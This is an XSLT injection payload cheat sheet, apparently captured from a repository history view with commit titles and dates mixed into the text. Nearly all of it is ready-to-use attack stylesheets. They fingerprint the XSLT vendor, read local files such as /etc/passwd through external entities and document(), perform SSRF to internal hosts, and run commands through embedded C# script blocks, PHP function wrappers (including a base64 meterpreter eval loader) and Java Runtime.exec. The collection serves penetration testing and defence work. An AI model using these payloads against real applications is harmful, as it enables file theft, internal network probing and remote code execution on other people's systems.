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XSLT injection draft
2019-12-17 20:13:59 +00:00
# XSLT Injection
> Processing an unvalidated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code
## Summary
- [Tools](#tools)
- [Exploit](#exploit)
- [Determine the vendor and version](#determine-the-vendor-and-version)
- [External Entity](#external-entity)
- [Read files and SSRF using document](#read-files-and-ssrf-using-document)
- [Remote Code Execution with Embedded Script Blocks](#remote-code-execution-with-embedded-script-blocks)
- [Remote Code Execution with PHP wrapper](#remote-code-execution-with-php-wrapper)
- [Remote Code Execution with Java](#remote-code-execution-with-java)
- [Remote Code Execution with Native .NET](#remote-code-execution-with-native-net)
Kubernetes - Privileged Service Account Token
2019-12-20 10:33:25 +00:00
- [References](#references)
XSLT injection draft
2019-12-17 20:13:59 +00:00
## Tools
## Exploit
### Determine the vendor and version
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:value-of select="system-property('xsl:vendor')"/>
</xsl:template>
</xsl:stylesheet>
```
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<br />Version: <xsl:value-of select="system-property('xsl:version')" />
<br />Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br />Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</body>
</html>
```
### External Entity
```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Fruits &ext_file;:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
```
### Read files and SSRF using document
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:copy-of select="document('http://172.16.132.1:25')"/>
<xsl:copy-of select="document('/etc/passwd')"/>
<xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
```
### Remote Code Execution with Embedded Script Blocks
```xml
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
<msxsl:script language = "C#" implements-prefix = "user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>
<xsl:template match="/fruits">
--- BEGIN COMMAND OUTPUT ---
<xsl:value-of select="user:execute()"/>
--- END COMMAND OUTPUT ---
</xsl:template>
</xsl:stylesheet>
```
### Remote Code Execution with PHP wrapper
Execute the function `readfile`.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<xsl:value-of select="php:function('readfile','index.php')" />
</body>
</html>
```
Execute the function `scandir`.
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of name="assert" select="php:function('scandir', '.')"/>
</xsl:template>
</xsl:stylesheet>
```
Execute a PHP meterpreter using PHP wrapper.
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:variable name="eval">
eval(base64_decode('Base64-encoded Meterpreter code'))
</xsl:variable>
<xsl:variable name="preg" select="php:function('preg_replace', '/.*/e', $eval, '')"/>
</xsl:template>
</xsl:stylesheet>
```
### Remote Code Execution with Java
```xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
```
```xml
<xml version="1.0"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')" xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>.
</xsl:stylesheet>
```
### Remote Code Execution with Native .NET
```xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App">
<msxsl:script implements-prefix="App" language="C#">
<![CDATA[
public string ToShortDateString(string date)
{
System.Diagnostics.Process.Start("cmd.exe");
return "01/01/2001";
}
]]>
</msxsl:script>
<xsl:template match="ArrayOfTest">
<TABLE>
<xsl:for-each select="Test">
<TR>
<TD>
<xsl:value-of select="App:ToShortDateString(TestDate)" />
</TD>
</TR>
</xsl:for-each>
</TABLE>
</xsl:template>
</xsl:stylesheet>
```
## References
* [From XSLT code execution to Meterpreter shells - 02 July 2012 - @agarri](https://www.agarri.fr/blog/archives/2012/07/02/from_xslt_code_execution_to_meterpreter_shells/index.html)
* [XSLT Injection - Fortify](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
* [XSLT Injection Basics - Saxon](https://blog.hunniccyber.com/ektron-cms-remote-code-execution-xslt-transform-injection-java/)